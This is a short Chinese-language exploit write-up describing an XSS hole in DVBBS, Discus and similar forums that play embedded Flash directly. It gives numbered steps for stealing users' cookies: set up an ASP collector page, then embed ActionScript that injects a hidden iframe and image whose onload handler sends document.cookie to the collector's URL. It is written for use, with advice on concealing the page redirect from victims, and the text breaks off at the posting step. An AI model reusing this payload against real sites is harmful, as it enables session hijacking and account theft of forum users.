◇ 此漏洞所涉及版本:: DVBBS、Discus所有版本,其它論壇未作測試,相信大多數都存在該漏洞
◇ 描述: 由于DVBBS等論壇對Flash采取直接播放形式,導致攻擊者可以利用Flash嵌入一段javascript代碼,達到偷取用戶Cookies的目的
◇ 具體分析與利用: 1. 首先準備好一個可以運行ASP的空間,用來存放Cookies 2. 新建一個Flash動畫,加入如下代碼: onClipEvent (load) { url="javascript:var rng=document.selection.createRange();rng.pasteHTML(\"<iframe name=frame_hide style='display:none'></iframe><img src=\\\"./images/logo.gif\\\" style=\\\"display:none\\\" onload=\\\"javascript:co=document.cookie;document.all.frame_hide.src='http://存放路徑/WriteCookies.asp?Cookies='+co.split('&');var e=document.all;for(var i=0;i<e.length;i++){if(e(i).tagName=='A'){var ss=e(i).outerHTML;}}\\\">\");" getURL(url); } 利用iframe是為了讓其它人查覺不到程序的頁面跳轉 3. 將Flash導出為swf文件,插入到想要偷取Cookies的論壇上,加入代碼
|